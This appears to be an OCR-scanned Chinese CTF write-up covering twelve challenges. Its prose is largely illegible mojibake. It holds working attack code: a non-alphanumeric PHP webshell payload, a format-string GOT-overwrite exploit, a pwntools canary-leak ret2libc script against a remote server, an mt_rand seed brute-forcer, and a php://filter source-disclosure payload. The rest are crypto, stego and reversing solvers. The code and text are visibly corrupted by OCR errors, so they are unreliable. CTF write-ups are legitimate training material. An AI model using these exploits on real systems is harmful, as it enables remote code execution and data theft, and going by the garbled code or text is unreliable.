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1. & H4&Web300

B RIEHETRINER L payload R EE S B BFMFER, 5
# https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.htmi

A A4 3E A B payload
XBERAIMIE T —4assert($_GET[ ]);
B ik 17 Hpayload_E 4%

$_=[;

$_="[;

$ =51 =="_T
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2 J5? =system(‘cat ../flag.php’); BEE EL A flag

2. @ H4 Encryptor.apk



# apkii Fapktool z 4 ¥
HscH W AT L& FHjavaflig

S — AR Z R KB A 20D (BRI Password) , SR/Emd5SAbEE, 5 iRECCH:, HMencryptbyte
BB B BE ks S 3% - 5 mdSAL B ) i Password R 8% . TR 5 i Bk mR A T

exp.py
f=open('flag.encrypted’,'rb")
fcon=f.read()
def xor(text,hash):
flag="
fori in range(0,len(text)):
flag+= chr(ord(text[i])*hash)

returnflag

fo=open('flag.decrypt','w")

fo.write(xor(fcon,0xdc647eb65e6711e155375218212b3964))

& Ja 18 Zlflag flag{all_encryption_is_equal_but some_are_More_equal_than_others}

3. EHA KFiEF

XA AL R — MR B R, RIES MR E, Bifbase64r LAGE]
B5G4B2B4B5H2E3B2F5 F8 E1 B2 F7 F6F1 G4 F5 G6 B1 G3 G5 H6 E2
25384933255544 49295 6049 13 2161 38 29 22 57 46 30 23 52
ZmxhZ3sxdF8xNVOmdW5ueX0

IE#ipadding— T base64# 515 Zlflag 'flag{1t_15_funny}'
4. FRH4 Misc 300

XIE H MiZ 2 pragyan-ct-2016 1) R &, 8 H#REEA, LRtE—A pixels.jpg.pkl. . FERE#RZwho-
made-me

FRFHME



import pickle

from PIL import Image

with open('pixels.jpg.pkl') as f:

data= pickle.loads(f.read().encode('utf8'))

white_pixels = [(int(e[0]), int(e[1])) fore in data[1:]]
width = max([p[0] for p in white_pixels]) + 10

height = max([p[1] for p in white_pixels])+ 10

image = Image.new('1", (width, height), 0)

pixels = image.load()

for pixel in white_pixels:

pixels[pixel[0],pixel[1]] = 255

image.show()
Hk—ANE K, shiE A4#'Calvin and Hobbes'1E 3 & 'Bill Watterson' flag billwatterson

5. & H% pwne

X IE R B R — AN AL T AT R I TR -
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read(0, &buf, 64u);

printf(&buf);

"] Ulleaktktihit, R/ EEAR X FRF IR, Satoiffigot&hk AT A& i&/bin/sh
ExpK it o

cVv("[Y/N]")

sd("Y")

cv("NAME:")

sd("%p===%p+++%35%p---")

cv("WELCOME")



leakstack=cv("===")

cv("+++"

leaklibc=cv("---")

base = leaklibc -offset___libc_start_main_ret
system = base + offset_system

system = libc['system]

system_h = system&O0xffff0000

system_| = system&0x0000ffff

system h=system h >> 16
atoi_got=0x804A02C

cv("AGE:")

padding="\00"*32
pay="90\00\00"+padding+p32(atoi_got)+p32(atoi_got+2)
sd(pay)

cv("[Y/N]")

sd("Y")

cv("NAME")
payload="%{systeml}c%16$hn%{systemh}c%17$hn".format(systeml=system_|,systemh=system_h-system 1)
sd(payload)

cv("AGE")

sd("/bin/sh\00")

cat flag
#52c12be949d88c14ccbe29d8733434c9
p.interactive()

6. &H% pwns

KEUE— & H ] DLW i Sk #8 stack canary, 2 Ja1it#libe.
#coding = utf-8
#code for pwns

from base64 import*



context.log_level= "debug
local=False

name ="pwns"

if local:
p = process(name)
else:

p = remote("114.215.128.141 ",10080)

def sd(cont):
p.sendline(cont)
def cv(cont):

return p.recvuntil(cont)

if local:
offset __ libc_start main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6300
offset_read = 0x000d5af0
offset_write = 0x000d5b60

offset_str_bin_sh = 0x15b9ab

else:
offset __libc_start main_ret = 0x19af3
offset_system = 0x00040310
offset_read = 0x000dd3c0
offset_write = 0x000dd440

offset_str_bin_sh = 0x162cec

defsenddata(payload, ath = False, final = False):



cv("TY/N)
sd("Y")
cv("datas:\n\n")
if ath:
attach()
p.send(b64encode(payload))
if not final:
cv("Result is:")
data = p.recvuntil("May bel",drop = True)
return data
else:

return

def getcanary():
slen = 0x10d - Oxc
payload ='a' * slen
data = senddata(payload + 'a")
canary = data[258:261]

return canary

def getlibc():
slen = 0x10d - Oxc + 0x50
payload ="'a" * slen
data = senddata(payload)
leak = data[0x151:0x151 + 4]

return leak

canary = u32("\x00" +getcanary())
print "canary: ", hex(canary)
leak = u32(getlibc())

print "leak: ", hex(leak)



system_addr = leak -offset___libc_start_main_ret + offset_system
binsh_addr = leak -offset___libc_start_ main_ret + offset_str_bin_sh

payload = 'a' * 0x101 + p32(canary) +p32(0Oxdeadbeef)*3 + p32(system_addr) + p32(0xdeadbeef) +
p32(binsh_addr)

senddata(payload,final = True)

p.interactive()

7. BHZ% pycath

B AeHE— Tk T Apyck g iF
#!/usr/bin/env python
# encoding: utf-8

bbbb = (lambda __ g, __y: continue[ [[ [ [[[ (fin.close(), [ [ ([I, 0)(((lambda __items, __after, _ sentinel:
(None,None, None, __y)((lambda __this: (lambda : (lambda __i: if __iis not__sentinel:

continue[ (ss.append(c), (sss.append(0),__this())[1])[1] for None in [

__i] ][0]None())(next(__items, __sentinel))

)
)0

), iter(s)), (lambda : continue[ [ (lambda__items, __after, _ sentinel: (None, None, None, __y)((lambda __this:
(lambda :(lambda __i:if __iis not __sentinel:

continue[ (lambda __value: continue[__this() for None in [
(lambda __ret: if __ret is Notlmplemented:
__g['sssss'] +__value)(getattr(__g['sssss’],'_iadd__', (lambda other:Notimplemented))(__value))] 1[0]
)(chr(c)) for None in [
__i11[0]
return None()

)(next(__items, __sentinel))

)
)0

)((iter(ssss),), (lambda : continue[(fout.write(sssss), (fout.close(), None)[1])[1] for None in [
open('key.enc', 'wb+")] ][0]), []) for Nonein [

"11[0] for None in [



encode(ss, sss)] ][0]
), [I) for None in [
11 1[0] for None in [
(11 J[0]){1] for None in [
fin.read().strip()] ][0] for None in [
open('key.txt', 'r')] J[0] for None in [

((lambda data, buf: (lambda __I: continue[ [ ([], [1)(((lambda __items,__after, __sentinel: (None, None,
None, _y)((lambda __this: (lambda : (lambda__i:if _iis not __sentinel:

continue[ [ __this() for None in [
table.index(__I['data][__I[i]) + 1]][0] for None in [
__i]7[0]None())(next(__items, __sentinel))

)

)0

), iter(xrange(__I['_len))), (lambda :(lambda __items, __after, __ sentinel: (None, None, None, __y)((lambda
__this:(lambda : (lambda __i:if __iis not __sentinel:

continue[ [ [ __this() for None in [
setbit(__I[buf], __I[,getbit(__I[data], __I[§1))] ][0] for None in [
(__I[]/6)* 8 + __I[i] % 6] ][0] forNone in [
__i]][0]None())(next(__items, __sentinel))
)
)()
)(iter(xrange(__I['_len] * 6)),), (lambda: __I['buf]), [])
), ) for None in [
len(__I['data)] ][0] forNone in [
(data, buf)] J[0]
(8
), 'encode)] ][0] for None in |
((lambda p, pos: (lambda __I: continue[ [ [ __I[p][__I[cposT]>> _ I['bpos] & 1 for None in |
__I'pos’] % 8] ][0] for None in [
__Irpos] /8] 1[0] for None in |
(p, pos)] 101)({ })
), 'getbit')] ][0] for None in [



((lambda p, pos, value: (lambda __I: continue[ [ [ (lambda __target, _slice, _ value: continue[ (lambda
__target, __slice, __ value: continue[__I['p'] for None in [

(lambda _old: (lambda _ret: if _ret isNotimplemented:
__old| _ value)(getattr(__old,' ior_'(lambda other: Notimplemented))(__value))
)(_target[__slice])] ][0]
)P, __I[cpos], _I[value']<< _ I[bpos’) for None in [
(lambda _old: (lambda__ret: if _ret is Notlmplemented:

__old & value)(getattr(__old," iand_', (lambda other: Notimplemented))(__ value))
)(__target[__slice])] ][0]
)C_II'P, __I['cpos’, ~(1 <<__I['bposT)) for None in [

__I['posT] % 8] J[0] forNone in [

__I['pos']/ 8] ][0] for Nonein [

(P, pos, value)] ][0]
XD
), 'setbit")] ][0] for None in [

string.printable.strip()] ][0] for None in [
__import__('string’, __g, _g)] ][0]

)(globals(), (lambda f: ((lambda x:x(x)),)((lambda y: (f,)(lambda : y(y)()))
)
)
B2l Lpythondifd, F T — TRiZZEXDCTF2015K reverse
WIEHT— T HAHEES Hexp.py

EEE T ERE L 2R EiMtabledm i 2 A = H R Rkey. - « HRTE, MRV T flagK
Ao o

i =654

table ='0123456789abcdefghijkimnoparstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%8\/()*+,-./:;<=>?
@N"_{}+'

def tobin(b):
ret="
fori in [128,64,32,16,8,4,2,1]:

ret+="1"if b&i else '0'



returnret

def decode3b(s):
a=s>>16
b= (s >> 8) & OxFF
c=s & OxFF
sa= tobin(a)
sb= tobin(b)
sc= tobin(c)

returntable[int(sa[2:],2)]+table[int(sb[4:]+sa[:2],2)]+table[int(sc[6:]+sb[:4],2)] +table[int(sc[:6],2)]

a = open('key.enc','rb")
a=a.read()

5="

for i in xrange(0,len(a),3):

s+=decode3b(int(a[i:i+3].encode('hex),16))

print s

s="join(map(lambda c:table[(table.index(c)+63)%64],s))

print s

#hhhhhgqqgqKeyd9733c070b2138e5fsssffffff

SR JE B B table[64]0 BLI{'d->""}F & T & Jakey: 9733c070b2138e5f

8. M H4% random

HAEEE BN & 415 B.index. php.swpB 4] 5% 57 i% £ htaccess it & i B S B & M TEEE, FRAE
ZJE W LA BURRS T

Index.php
<?php

error_reporting(0);
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$flag = ;

echo "please input a rand_num !";
function create_password($pw_length = 10){
$randpwd="";
for($i = 0; $i < $pw_length; $i++)
$randpwd.= chr(mt_rand(100, 200));

}

return$randpwd;

session_start();

mt_srand(time());

$pwd=create_password();

echo $pwd.'||";

if($pwd == $_GET['pwd)

echo "first";

if(3_SESSION[userLogin]==$_GET[login")

echo "Nice , you get the flag it is".$flag ;

else{

echo"Wrong!";

$_SESSION['userLogin']=create password(32).rand();

>
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H—Aphp A& # AT —TF
Exp.php
<?php

function create_password($pw_length = 10)

{
$randpwd = "";

for ($i = 0; $i < $pw_length; $i++)

{

$randpwd .= chr(mt_rand(100,200));
}
return $randpwd;

}

session_start();

for($i=time()-10;Si<time()+10;$i++)

{
mt_srand($i);
$pwd=create_password();
$curl=file_get_contents("http://114.215.138.89:10080/index.php?pwd=$pwd&login=");

echo $curl.'<br>";

?>

9. & H%4 web200

AR H AR %R BRI,

H AR 6 F NfEfEflag.php

ERMNIZHI T RAE IR SBER A EHT L, A HAPHPOHHY
Hi&payload ?op=php://filter/read=convert.base64-encode/resource=flag

Base64f@# g ik T



>>>
'PD9waHAgCiIRmbGFnPSJmbGFne2MOMBmYjQwWNTRIOTESNDRhNzFmMZjY4ZjcwNzliOTQyNGU1Y2JhMjF9I

4 | 1 | 3

'<?php\n$flag="flag{c420fb4054H91944a7 1ff68f7079b9424e5cba21}\x96; \n?>\n'

10, W H4 Red4newer

X — I IR H R R E R R R R .

Hizupxiise, ZZlidarh ot — TREUEFEIINRLERE, R ERBURNEAN TR B ERAAL, REFARR
X225 %8 FAF X EE, 5 iHexp.py

BRI MRTER TR, o BT T~ TEMMGRMERE, BRIEERILLELNE CRXARANEEES
5. . ZREIARE, BF—TENRTflag, WAE—HARE CREMEINRKAOT.  XMEEFHLZER
otk

text1=
[0x13,0x4A,0x76,0x59,0x45,0x4 3,0x4E,0x44,0x52,0x4F ,0x4B,0x51,0x54,0x7D,0x63,0x7D,0x5F ,0x56,0x13,0x7D,

4| i | b

flag="

for i in range(0,43):
flag+= chr(text1[i]"0x22)
print flag
#1hT{galfpmisv_A }t1_EERRR elSi sSsAp u E_yr3
flag
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#flag{Th1s_iS_A v3ry_simple_ RRREEE_u_pAsS_1t}

1. B H 4 &5 fandroid

Apktool B — TRLHR T, BISCFRFE HE. .
12, BLH 4 RE T

faZlwireshark&EE W &R, 4 rhttpdf KIEHEKIL T zip>CH, T H AR ESE R > ce ttR B 2 & rgb
H—ApythonfiA ¥ — T Hk—ikE H
Exp.py
from PIL import Image
import re
import os
print os.getcwd()
x = 887
y=111
image = Image.new("RGB",(x,y))
f = open('ce.txt')
for i in range(0,x):

for j in range(0,y):

| = f.readline()

r = Lsplit(", ")

image.putpixel((i,j),(int(r[0]),int(r[1]),int(r[2])))

image.save('image1.jpg’)
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